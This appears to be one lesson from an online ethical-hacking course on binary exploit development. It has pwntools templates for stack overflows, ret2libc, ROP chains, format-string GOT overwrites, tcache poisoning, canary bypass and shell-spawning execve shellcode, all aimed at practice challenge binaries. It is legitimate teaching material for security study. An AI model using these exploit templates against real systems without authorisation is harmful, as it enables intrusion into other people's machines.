Skip to content
← Ethical Hacking · advanced · 18 min · 20 / 31

Exploit Development

Advanced buffer overflows, ROP chains, format string exploits, heap exploitation, and writing reliable shellcode.

exploit developmentbuffer overflowROP chainsshellcodeheap exploitationformat stringpwntoolsASLR bypass

Real-World Analogy

Writing a reliable exploit is engineering, not hacking — you need to understand memory layout, CPU architecture, OS protections, and timing. It’s less “break the thing” and more “design a precise mechanism that reliably fails in a specific way.”

Modern Exploit Mitigations

Every protection changes the attack approach:

ASLR (Address Space Layout Randomization)
  OS randomizes base addresses of stack, heap, libraries on each run
  → Can't hardcode addresses. Need to leak an address first.

NX / DEP (No-Execute / Data Execution Prevention)
  Stack and heap memory is not executable
  → Can't put shellcode on stack. Need ROP (Return-Oriented Programming).

Stack Canary
  Random value placed between buffer and return address before function call
  Verified before return — mismatch = segfault
  → Need to leak the canary, or use format string to overwrite without detection

PIE (Position Independent Executable)
  The program itself also gets randomized base address
  → Need to leak a code address too

RELRO (Relocation Read-Only)
  GOT (Global Offset Table) is read-only after startup
  → Can't overwrite GOT entries

Safe-SEH / CFG (Control Flow Guard)
  Indirect calls/jumps must target valid locations
  → Limits ROP gadget choices

pwntools — Exploit Development Library

from pwn import *

# Connect to target
io = remote('challenge.ctf', 1337)     # remote
io = process('./challenge')            # local
io = gdb.debug('./challenge')          # with GDB attached

# Architecture setup (auto-detected usually)
context.arch = 'amd64'               # x86_64
context.arch = 'i386'                # 32-bit x86
context.os = 'linux'

# Sending and receiving
io.send(b'data')                     # send bytes (no newline)
io.sendline(b'data')                 # send with newline
io.sendafter(b'prompt:', b'input')   # send after seeing prompt
io.recv(100)                         # receive 100 bytes
io.recvline()                        # receive until newline
io.recvuntil(b'>>>')                 # receive until pattern
io.interactive()                     # interactive mode

# Packing numbers into bytes
p32(0x41424344)  # → b'\x44\x43\x42\x41' (little-endian 32-bit)
p64(0xdeadbeef)  # → 8 bytes little-endian 64-bit
u32(b'\x41\x42\x43\x44')  # unpack → 0x44434241
u64(b'\x41' * 8)           # unpack → integer

# ELF parsing
elf = ELF('./challenge')
elf.symbols['win']          # address of 'win' function
elf.got['puts']             # GOT entry for 'puts'
elf.plt['puts']             # PLT entry for 'puts'

# ROP gadget finding
rop = ROP(elf)
rop.find_gadget(['ret'])          # find 'ret' gadget
rop.find_gadget(['pop rdi', 'ret'])  # find 'pop rdi; ret'

# Shellcraft — generate shellcode
shellcode = asm(shellcraft.sh())   # /bin/sh shellcode
shellcode = asm(shellcraft.linux.amd64.sh())

Buffer Overflow — Stack-Based (32-bit)

from pwn import *

# Vulnerable C:
# void vuln() {
#     char buf[64];
#     gets(buf);  // reads unlimited input
# }

io = process('./challenge')
elf = ELF('./challenge')

# Step 1: Find offset where EIP is controlled
# Send cyclic pattern: cyclic(200) generates "aaaabaaacaaadaaa..."
io.sendline(cyclic(200))
io.wait()

# Check core dump for crash value
core = Corefile('./core')
offset = cyclic_find(core.eip)    # offset where EIP got overwritten
print(f"Offset: {offset}")        # e.g., 76

# Step 2: Build payload
# No ASLR + NX disabled (ret2stack):
shellcode = asm(shellcraft.sh())
payload  = shellcode
payload += b'A' * (offset - len(shellcode))  # padding
payload += p32(core.esp - some_offset)        # return to shellcode on stack

# Step 3: Send
io = process('./challenge')
io.sendline(payload)
io.interactive()

Return-to-libc (ret2libc)

NX/DEP enabled → can’t execute shellcode. Jump to existing executable code (libc functions).

from pwn import *

elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Step 1: Leak a libc address (ASLR enabled → need to find base)
# Leak puts' got entry using puts itself via PLT
rop = ROP(elf)

# 64-bit calling convention: rdi = first argument
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]

# Leak puts address (puts prints its own GOT entry)
leak_payload  = b'A' * offset
leak_payload += p64(pop_rdi)
leak_payload += p64(elf.got['puts'])     # argument: address of puts in GOT
leak_payload += p64(elf.plt['puts'])     # call puts(got.puts) → prints puts address
leak_payload += p64(elf.symbols['main']) # return to main for second stage

io = process('./challenge')
io.sendline(leak_payload)
io.recvuntil(b'output:\n')
leak = u64(io.recv(6).ljust(8, b'\x00'))   # 6 bytes on 64-bit systems
libc.address = leak - libc.symbols['puts']  # calculate libc base
print(f"libc base: {hex(libc.address)}")

# Step 2: Call system("/bin/sh")
bin_sh = next(libc.search(b'/bin/sh\x00'))
system  = libc.symbols['system']

payload  = b'A' * offset
payload += p64(ret_gadget)          # stack alignment (16-byte boundary for system())
payload += p64(pop_rdi)
payload += p64(bin_sh)              # argument: "/bin/sh"
payload += p64(system)              # call system("/bin/sh")

io.sendline(payload)
io.interactive()

ROP Chains (Return-Oriented Programming)

ROP chains sequences of “gadgets” — small instruction sequences ending in ret — to build arbitrary computation.

from pwn import *
from ropper import RopperService  # or use pwntools ROP()

elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([elf, libc])

# Common 64-bit Linux syscall: execve("/bin/sh", NULL, NULL)
# syscall number: 59 (0x3b)
# rax = 59, rdi = ptr to "/bin/sh", rsi = 0, rdx = 0

# Find gadgets
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
syscall  = rop.find_gadget(['syscall'])[0]

# Find "/bin/sh" in binary or libc
bin_sh = next(libc.search(b'/bin/sh\x00'))

# Build chain
chain  = b'A' * offset
chain += p64(pop_rax)
chain += p64(59)              # execve syscall number
chain += p64(pop_rdi)
chain += p64(bin_sh)          # pointer to "/bin/sh"
chain += p64(pop_rsi)
chain += p64(0)               # NULL argv
chain += p64(pop_rdx)
chain += p64(0)               # NULL envp
chain += p64(syscall)         # syscall instruction

io = process('./challenge')
io.sendline(chain)
io.interactive()

Format String Exploitation

When user input is passed directly as the format string to printf:

// Vulnerable
char buf[64];
fgets(buf, sizeof(buf), stdin);
printf(buf);    // WRONG — should be printf("%s", buf)

// printf format specifiers:
// %p → print pointer (leak addresses)
// %x → print hex value
// %n → write number of bytes printed so far (write primitive!)
// %s → dereference pointer, print as string
from pwn import *

io = process('./challenge')
elf = ELF('./challenge')

# Step 1: Leak values from stack
# Send: %p.%p.%p.%p (prints pointers from stack)
io.sendline(b'%p.%p.%p.%p.%p.%p.%p.%p')
leak = io.recvline()
print(leak)

# Find the offset where our input appears in the leak
# If sending "AAAA%p.%p..." and one %p shows 0x41414141 → that's our offset

# Step 2: Arbitrary write with %n
# Write to the GOT entry of a function, redirect to win()
# Example: overwrite got['exit'] with elf.symbols['win']

fmtstr = fmtstr_payload(
    offset=6,                      # our input is at 6th argument
    writes={elf.got['exit']: elf.symbols['win']}
)
io.sendline(fmtstr)
io.sendline(b'exit')  # trigger exit() → actually calls win()
io.interactive()

Heap Exploitation (Fundamentals)

// glibc malloc uses bins: fast, small, large, unsorted
// Chunks have headers: size, prev_size, fd/bk pointers (free chunks)

// Use-After-Free (UAF):
char *buf = malloc(64);
free(buf);
// buf still points to freed memory
buf[0] = 0x41;  // undefined behavior — may control chunk metadata
from pwn import *

# Tcache poisoning (glibc 2.26+)
# Tcache: per-thread cache of recently freed chunks
# Freeing same chunk twice + writing to it → control next allocation address

# Template for tcache dup:
# 1. Allocate chunk A
# 2. Free chunk A twice (or UAF to overwrite fd pointer)
# 3. fd pointer of chunk in tcache → address we want to allocate
# 4. Next two allocations: one returns the fake chunk, one at controlled address
# 5. Overwrite __free_hook or __malloc_hook with one_gadget

# One gadget — single address that gives shell (with right register state)
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Outputs addresses that, if jumped to, execute execve("/bin/sh")

Stack Canary Bypass Techniques

# 1. Format string leak
# If there's a format string vuln before the overflow:
# Find the canary value on the stack via %p leak
# Then include it in your buffer overflow payload

canary_leak = io.recvline()
canary = int(canary_leak.split(b':')[1], 16)

payload  = b'A' * buffer_size      # fill buffer
payload += p64(canary)             # correct canary value
payload += p64(0)                  # saved rbp
payload += p64(win)                # return address

# 2. Brute force (32-bit fork servers)
# In a fork server, canary is same for all children
# Brute force byte by byte (256 guesses per byte, 4 bytes = 1024 guesses)

Writing Your Own Shellcode

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

# execve("/bin/sh", NULL, NULL) manually
shellcode = asm("""
    xor  rdx, rdx          ; rdx = 0 (envp = NULL)
    xor  rsi, rsi          ; rsi = 0 (argv = NULL)
    lea  rdi, [rip + path] ; rdi = pointer to "/bin/sh"
    xor  rax, rax
    mov  al, 59            ; rax = 59 (execve syscall)
    syscall
    path: .string "/bin/sh"
""")

# Test it
io = run_shellcode(shellcode)
io.interactive()

# Or use pwnlib's shellcraft:
shellcode = asm(shellcraft.amd64.linux.sh())
print(shellcode.hex())

Resources for Exploit Development

Practice platforms:
  pwn.college          → structured binary exploitation curriculum (free)
  exploit.education    → intentionally vulnerable VMs
  ROP Emporium         → ropemporium.com — pure ROP challenges

Books:
  "Hacking: The Art of Exploitation" by Jon Erickson
  "The Shellcoder's Handbook" by Anley et al.

Tools:
  pwntools             → Python exploitation framework
  GDB + pwndbg         → debugger + enhanced display
  ROPgadget            → find ROP gadgets
  ropper               → alternative gadget finder
  one_gadget           → find one-gadget shells in libc
  checksec             → check binary protections
  patchelf             → change binary's RPATH for custom libc

OSCP prep (simpler overflows):
  Vulnserver           → Windows BOF practice (oscp style)
  dostackbufferoverflowgood → guided Windows BOF tutorial